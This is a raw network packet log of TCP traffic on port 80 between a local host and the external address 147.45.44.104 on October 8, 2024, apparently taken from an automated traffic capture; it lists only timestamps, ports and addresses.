Oct 8, 2024 03:30:55.574194908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574203968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574209929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574254990 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574304104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574397087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574413061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574429989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574436903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574446917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574453115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574470997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574470997 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574489117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574500084 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574505091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574526072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574536085 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574554920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574570894 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574573040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574590921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574599028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574614048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574636936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574644089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574657917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574661970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574680090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574687004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574696064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574712992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574723005 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574729919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574748039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574759960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574788094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574791908 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574805021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574851036 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574959040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574975014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574990034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.575006008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.575020075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.575022936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.575041056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.575045109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.575057030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.575074911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.575088024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.575120926 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.575726032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.662360907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.662420034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.662436962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.662452936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.662471056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.662488937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.662508011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.662507057 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.662507057 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.662579060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663041115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663058043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663073063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663100004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663105965 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663105965 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663116932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663132906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663147926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663167953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663172007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663186073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663188934 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663314104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663331032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663346052 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663347960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663366079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663372040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663393021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663408041 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663439989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663456917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663471937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663487911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663489103 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663513899 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663533926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663548946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663575888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663575888 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663593054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663609982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663619041 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663626909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663644075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663657904 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663671970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663691044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663692951 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663707018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663716078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663731098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663744926 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663759947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663768053 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663777113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663793087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663808107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663819075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663825989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663841963 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663844109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663861036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663862944 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663892031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663906097 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663911104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663929939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663945913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663953066 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663963079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663980007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.663981915 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.663996935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664015055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664020061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664032936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664057016 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664072037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664089918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664108992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664110899 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664125919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664143085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664145947 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664160967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664177895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664180040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664283037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664299965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664314985 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664314985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664335012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664336920 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664351940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664370060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664372921 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664386988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664406061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664407015 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664422989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664446115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664467096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664480925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664495945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664508104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664513111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664530039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664535046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664563894 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664608002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664623976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664639950 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664657116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664664030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664674997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664690971 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664691925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664727926 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664747953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664764881 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664782047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664798021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664803982 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664815903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664832115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664906979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664922953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664938927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664954901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664957047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.664966106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664973021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664982080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.664999008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665045977 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665065050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665067911 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665081978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665107012 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665108919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665126085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665133953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665143013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665150881 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665164948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665222883 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665266991 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665283918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665298939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665313959 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665335894 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665357113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665374041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665388107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665405989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665410042 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665422916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665441036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665445089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665457964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665474892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665482044 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665496111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665515900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665612936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665631056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665647030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665653944 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665664911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665682077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665683985 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665699959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665719032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.665725946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.665751934 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.666028976 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753134966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753226995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753243923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753259897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753277063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753294945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753312111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753354073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753354073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753354073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753526926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753557920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753571033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753575087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753612041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753623009 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753628969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753647089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753664970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753665924 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753684044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753706932 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753751040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753767014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753783941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753797054 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753803015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753825903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753927946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753971100 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.753971100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.753990889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754005909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754023075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754030943 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754064083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754105091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754121065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754151106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754159927 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754168034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754184008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754201889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754208088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754225969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754240036 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754244089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754261971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754285097 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754288912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754326105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754336119 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754343987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754362106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754383087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754383087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754412889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754422903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754431009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754457951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754466057 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754476070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754492044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754508018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754513979 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754527092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754543066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754547119 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754579067 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754602909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754620075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754635096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754652977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754654884 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754668951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754693031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754734993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754751921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754767895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754775047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754786968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754802942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754803896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754842043 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754863977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754892111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754909992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754925966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754937887 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.754942894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.754964113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755006075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755023003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755038023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755047083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755055904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755072117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755074024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755089998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755106926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755114079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755143881 CEST	49730	80	192.168.2.4	147.45.44.104
